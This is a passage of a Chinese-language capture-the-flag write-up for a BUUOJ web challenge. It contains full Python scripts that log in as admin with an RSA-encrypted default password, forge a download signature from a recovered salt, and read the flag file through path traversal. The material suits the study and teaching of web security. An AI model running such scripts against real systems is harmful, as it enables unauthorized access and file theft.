        "Connection": "keep-alive",
        "Origin": BASE_DOMAIN,
        "Referer": TARGET_URL
    }

    try:
        print(f"[*] 向 {TARGET_URL} 发送请求 -> 用户名: {username}, 密码: {password}")
        response = session.post(
            TARGET_URL,
            data=payload,
            headers=headers,
            timeout=10
        )

        print(f"[*] 响应状态码: {response.status_code}")
        print(f"[*] 响应内容: {response.text}")
        print("-" * 80)

        # 提取path
        path = extract_path_from_response(response.text)
        if path:
            print(f"[*] 从响应中提取到path: {path}")
            # 访问拼接后的URL
            try:
                path_response = visit_path_url(path, BASE_DOMAIN, session)
                print(f"[*] URL访问响应内容: {path_response.text}")
                print("-" * 80)
            except Exception as e:
                print(f"[!] 访问拼接URL失败: {e}")
        else:
            print("[*] 响应中未提取到有效path")

        return response

    except Exception as e:
        print(f"[!] 发包失败: {e}")
        print("-" * 80)
        raise

def visit_download_url(session: requests.Session):
    """
    访问指定的/download路径,携带会话信息和必要请求头
    :param session: 登录后的会话对象
    :return: 下载请求的响应对象
    """
    print(f"\n[*] 准备访问下载URL: {BASE_DOMAIN + DOWNLOAD_PATH}")
    print("-" * 80)
    
    # 构建完整的下载URL
    download_url = BASE_DOMAIN + DOWNLOAD_PATH
    # 处理URL中的重复//问题
    download_url = download_url.replace('//', '/').replace('http:/', 'http://')
    
    # 构造下载请求的请求头(模拟浏览器行为)
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
        "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8",
        "Accept-Encoding": "gzip, deflate",
        "Connection": "keep-alive",
        "Referer": TARGET_URL,
        "Upgrade-Insecure-Requests": "1"
    }
    
    try:
        # 发送GET请求访问下载链接(保持会话)
        response = session.get(
            download_url,
            headers=headers,
            timeout=15,
            allow_redirects=True,
            stream=True  # 支持大文件下载
        )
        
        print(f"[*] 下载URL访问状态码: {response.status_code}")
        print(f"[*] 响应头信息: {response.headers}")
        
        # 处理响应内容
        if response.status_code == 200:
            # 判断是否是文件下载
            if 'Content-Disposition' in response.headers:
                # 提取文件名并保存文件
                content_disposition = response.headers.get('Content-Disposition', '')
                filename = re.search(r'filename=["\']?([^"\']+)["\']?', content_disposition)
                save_filename = filename.group(1) if filename else 'app.jmx'
                
                # 保存文件到本地
                with open(save_filename, 'wb') as f:
                    for chunk in response.iter_content(chunk_size=8192):
                        f.write(chunk)
                print(f"[*] 文件下载成功,已保存为: {save_filename}")
            else:
                # 非文件下载,打印响应内容
                print(f"[*] 下载URL响应内容: {response.text[:2000]}")  # 只打印前2000字符避免过长
        else:
            print(f"[!] 下载URL访问失败,状态码: {response.status_code}")
            print(f"[!] 响应内容: {response.text}")
        
        print("-" * 80)
        return response
    
    except Exception as e:
        raise RuntimeError(f"访问下载URL失败: {str(e)}")

if __name__ == "__main__":
    # 创建会话对象(保持cookie、会话状态)
    session = requests.Session()
    
    # 1. 定义需要加密的原始密码
    original_password = "123456"
    print(f"[*] 原始密码: {original_password}")
    print("-" * 80)
    
    # 2. 使用RSA加密密码
    try:
        encrypted_password = rsa_encrypt_pkcs1v15_jseencrypt(original_password, PUBLIC_KEY_STR)
        print(f"[*] RSA加密后的密码: {encrypted_password}")
        print("-" * 80)
    except RuntimeError as e:
        print(f"[!] 密码加密失败: {e}")
        exit(1)
    
    # 3. 发送登录请求(使用加密后的密码)并处理path访问
    try:
        login_response = send_login_request("admin", encrypted_password, session)
    except Exception as e:
        print(f"[!] 登录请求处理失败: {e}")
        exit(1)
    
    # 4. 访问指定的/download路径(携带登录后的会话信息)
    try:
        download_response = visit_download_url(session)
    except Exception as e:
        print(f"[!] 下载URL访问处理失败: {e}")
        exit(1)

image-20251206162113687

那既然可以下载app.jmx,那看看能不能直接下载flag

但好像并不行,既然得到了salt是不是要带上salt才可以访问

同时下面存在逻辑

def mingWen = vars.get('mingWen');
def firstMi = DigestUtils.md5Hex(mingWen);
def jieStr = firstMi.substring(5, 16);
def salt = vars.get('salt');
def newStr = firstMi + jieStr + salt;
def sign = DigestUtils.md5Hex(newStr);
vars.put('sign', sign);

直接丢给AI

image-20251206163753631

import base64
import requests
import hashlib
from cryptography.hazmat.primitives.asymmetric import padding, rsa
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.asymmetric.padding import PKCS1v15
import re

# RSA公钥(用于密码加密)
PUBLIC_KEY_STR = "MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgGyAKgwgFtRvud51H9otkcAxKh/8/iIlj3WlPJ0RL1pDtRvyMu5/edP84Mp9FqnZNCXKi1042pd4Y2Bf9QT0/z1i6KPiZ8zT3XNTtPOqIHO5aVaOfAl8lr52AurMZVpXwEUS2hh+Q/AN4/SV9AZPCgrUXk619aaw0Md9MNvn3w0JAgMBAAE="

# 目标登录URL
TARGET_URL = "http://a12634de-e919-4a63-abe4-36035aff7b45.node5.buuoj.cn:81/login"
# 提取基础域名(用于拼接path)
BASE_DOMAIN = TARGET_URL.rsplit('/', 1)[0]

# 固定salt值
SALT = "f9bc855c9df15ba7602945fb939deefc"

def generate_sign(file_param: str, salt: str) -> str:
    """
    根据指定逻辑生成sign值
    :param file_param: file参数的值(明文)
    :param salt: 固定的salt值
    :return: 最终的sign值
    """
    # 1. 计算file参数的MD5值(firstMi)
    first_mi = hashlib.md5(file_param.encode('utf-8')).hexdigest()
    print(f"[*] file参数MD5值 (firstMi): {first_mi}")
    
    # 2. 截取firstMi的第5到16位(包含第5位,不包含第16位,共11位)
    jie_str = first_mi[5:16]
    print(f"[*] 截取的字符串 (jieStr): {jie_str} (位置5-16)")
    
    # 3. 拼接新字符串:firstMi + jieStr + salt
    new_str = first_mi + jie_str + salt
    print(f"[*] 拼接后的字符串 (newStr): {new_str}")
    
    # 4. 计算新字符串的MD5作为最终sign
    sign = hashlib.md5(new_str.encode('utf-8')).hexdigest()
    print(f"[*] 最终生成的sign值: {sign}")
    
    return sign

def rsa_encrypt_pkcs1v15_jseencrypt(plain_text: str, pub_key_str: str) -> str:
    """
    模拟JSEncrypt的PKCS1_v1_5加密行为,返回Base64编码字符串
    :param plain_text: 待加密的明文(字符串)
    :param pub_key_str: Base64格式的RSA公钥(无PEM头尾部)
    :return: Base64编码的加密结果
    """
    try:
        # 1. 补全PEM格式公钥(JSEncrypt默认使用这种格式)
        pem_pub_key = (
            "-----BEGIN PUBLIC KEY-----\n"
            + "\n".join([pub_key_str[i:i+64] for i in range(0, len(pub_key_str), 64)])
            + "\n-----END PUBLIC KEY-----"
        )
        
        # 2. 加载公钥
        public_key = serialization.load_pem_public_key(
            pem_pub_key.encode("utf-8"),
            backend=default_backend()
        )
        
        # 3. 将明文转为字节(JSEncrypt默认使用UTF-8编码)
        plain_bytes = plain_text.encode("utf-8")
        
        # 4. PKCS1_v1_5加密(严格匹配JSEncrypt的填充规则)
        encrypted_bytes = public_key.encrypt(
            plain_bytes,
            PKCS1v15()  # 标准PKCS1 v1.5填充,与JSEncrypt完全一致
        )
        
        # 5. Base64编码(JSEncrypt使用标准Base64,无URL安全转换)
        base64_encrypted = base64.b64encode(encrypted_bytes).decode("utf-8")
        
        return base64_encrypted
    
    except Exception as e:
        raise RuntimeError(f"加密失败: {str(e)}")

def extract_path_from_response(response_text: str) -> str:
    """
    从响应内容中提取path(支持多种常见格式匹配)
    :param response_text: 响应文本内容
    :return: 提取到的path,无则返回空字符串
    """
    # 匹配常见的path格式(可根据实际情况调整正则)
    path_patterns = [
        r'["\']path["\']\s*:\s*["\']([^"\']+)["\']',  # "path": "/xxx/yyy"
        r'["\']/[^"\']+["\']',  # 匹配 "/xxx/yyy" 格式的path
        r'\/[a-zA-Z0-9_\-\/]+',  # 匹配 /xxx/yyy 格式的path
    ]
    
    for pattern in path_patterns:
        match = re.search(pattern, response_text)
        if match:
            path = match.group(1) if len(match.groups()) > 0 else match.group(0)
            # 去除引号等多余字符
            path = path.strip('"\'')
            return path
    
    return ""

def visit_path_url(path: str, base_domain: str, session: requests.Session = None) -> requests.Response:
    """
    拼接path和基础域名,访问该URL并返回响应
    :param path: 提取的path
    :param base_domain: 基础域名
    :param session: 可选的会话对象(保持cookie等状态)
    :return: 响应对象
    """
    if not path:
        raise ValueError("path为空,无法拼接URL")
    
    # 拼接URL(处理path开头是否有/的情况)
    if path.startswith('/'):
        full_url = base_domain + path
    else:
        full_url = f"{base_domain}/{path}"
    
    # 移除重复的//
    full_url = full_url.replace('//', '/').replace('http:/', 'http://')
    
    print(f"\n[*] 拼接后的完整URL: {full_url}")
    
    # 发送请求(复用请求头,保持会话一致性)
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
        "Content-Type": "application/x-www-form-urlencoded",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
        "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8",
        "Accept-Encoding": "gzip, deflate",
        "Connection": "keep-alive"
    }
    
    try:
        # 使用会话对象或普通请求,保持状态一致性
        if session:
            response = session.get(
                full_url,
                headers=headers,
                timeout=10,
                allow_redirects=True  # 允许重定向
            )
        else:
            response = requests.get(
                full_url,
                headers=headers,
                timeout=10,
                allow_redirects=True  # 允许重定向
            )
        print(f"[*] URL访问状态码: {response.status_code}")
        return response
    except Exception as e:
        raise RuntimeError(f"访问URL失败: {str(e)}")

def send_login_request(username, password, session: requests.Session):
    """
    发送登录请求到目标URL,并处理path提取和URL访问
    :param username: 登录用户名
    :param password: 加密后的登录密码
    :param session: 会话对象(保持cookie)
    :return: 登录响应对象
    """
    payload = {
        "username": username,
        "password": password
    }

    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
        "Content-Type": "application/x-www-form-urlencoded",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
        "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8",
        "Accept-Encoding": "gzip, deflate",
        "Connection": "keep-alive",
        "Origin": BASE_DOMAIN,
        "Referer": TARGET_URL
    }

    try:
        print(f"[*] 向 {TARGET_URL} 发送请求 -> 用户名: {username}, 密码: {password}")
        response = session.post(
            TARGET_URL,
            data=payload,
            headers=headers,
            timeout=10
        )

        print(f"[*] 响应状态码: {response.status_code}")
        print(f"[*] 响应内容: {response.text}")
        print("-" * 80)

        # 提取path
        path = extract_path_from_response(response.text)
        if path:
            print(f"[*] 从响应中提取到path: {path}")
            # 访问拼接后的URL
            try:
                path_response = visit_path_url(path, BASE_DOMAIN, session)
                print(f"[*] URL访问响应内容: {path_response.text}")
                print("-" * 80)
            except Exception as e:
                print(f"[!] 访问拼接URL失败: {e}")
        else:
            print("[*] 响应中未提取到有效path")

        return response

    except Exception as e:
        print(f"[!] 发包失败: {e}")
        print("-" * 80)
        raise

def visit_download_url(session: requests.Session, file_param: str = "../../../../../../../../../flag"):
    """
    访问/download路径,自动生成sign并携带会话信息
    :param session: 登录后的会话对象
    :param file_param: file参数的值,默认为读取flag的路径
    :return: 下载请求的响应对象
    """
    print("\n" + "="*80)
    print("[*] 开始生成sign值")
    print("="*80)
    
    # 生成sign值
    sign = generate_sign(file_param, SALT)
    
    # 构建下载URL
    DOWNLOAD_PATH = f"/download?file={file_param}&sign={sign}"
    download_url = BASE_DOMAIN + DOWNLOAD_PATH
    # 处理URL中的重复//问题
    download_url = download_url.replace('//', '/').replace('http:/', 'http://')
    
    print(f"\n[*] 准备访问下载URL: {download_url}")
    print("-" * 80)
    
    # 构造下载请求的请求头(模拟浏览器行为)
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
        "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8",
        "Accept-Encoding": "gzip, deflate",
        "Connection": "keep-alive",
        "Referer": TARGET_URL,
        "Upgrade-Insecure-Requests": "1"
    }
    
    try:
        # 发送GET请求访问下载链接(保持会话)
        response = session.get(
            download_url,
            headers=headers,
            timeout=15,
            allow_redirects=True,
            stream=True  # 支持大文件下载
        )
        
        print(f"[*] 下载URL访问状态码: {response.status_code}")
        print(f"[*] 响应头信息: {response.headers}")
        
        # 处理响应内容
        if response.status_code == 200:
            # 判断是否是文件下载
            if 'Content-Disposition' in response.headers:
                # 提取文件名并保存文件
                content_disposition = response.headers.get('Content-Disposition', '')
                filename = re.search(r'filename=["\']?([^"\']+)["\']?', content_disposition)
                save_filename = filename.group(1) if filename else 'app.jmx'
                
                # 保存文件到本地
                with open(save_filename, 'wb') as f:
                    for chunk in response.iter_content(chunk_size=8192):
                        f.write(chunk)
                print(f"[*] 文件下载成功,已保存为: {save_filename}")
            else:
                # 非文件下载,打印响应内容
                print(f"[*] 下载URL响应内容: {response.text[:2000]}")  # 只打印前2000字符避免过长
        else:
            print(f"[!] 下载URL访问失败,状态码: {response.status_code}")
            print(f"[!] 响应内容: {response.text}")
        
        print("-" * 80)
        return response
    
    except Exception as e:
        raise RuntimeError(f"访问下载URL失败: {str(e)}")

if __name__ == "__main__":
    # 创建会话对象(保持cookie、会话状态)
    session = requests.Session()
    
    # 1. 定义需要加密的原始密码
    original_password = "123456"
    print(f"[*] 原始密码: {original_password}")
    print("-" * 80)
    
    # 2. 使用RSA加密密码
    try:
        encrypted_password = rsa_encrypt_pkcs1v15_jseencrypt(original_password, PUBLIC_KEY_STR)
        print(f"[*] RSA加密后的密码: {encrypted_password}")
        print("-" * 80)
    except RuntimeError as e:
        print(f"[!] 密码加密失败: {e}")
        exit(1)
    
    # 3. 发送登录请求(使用加密后的密码)并处理path访问
    try:
        login_response = send_login_request("admin", encrypted_password, session)
    except Exception as e:
        print(f"[!] 登录请求处理失败: {e}")
        exit(1)
    
    # 4. 访问/download路径,自动生成sign(携带登录后的会话信息)
    try:
        # 指定file参数值,自动生成对应的sign
        file_param = "../../../../../../../../../flag"
        download_response = visit_download_url(session, file_param)
    except Exception as e:
        print(f"[!] 下载URL访问处理失败: {e}")
        exit(1)

image-20251206164338955

得到flag文件

image-20251206163827582

posted @ 2025-12-08 16:06  dynasty_chenzi  阅读(21)  评论(0)    收藏  举报
返回顶端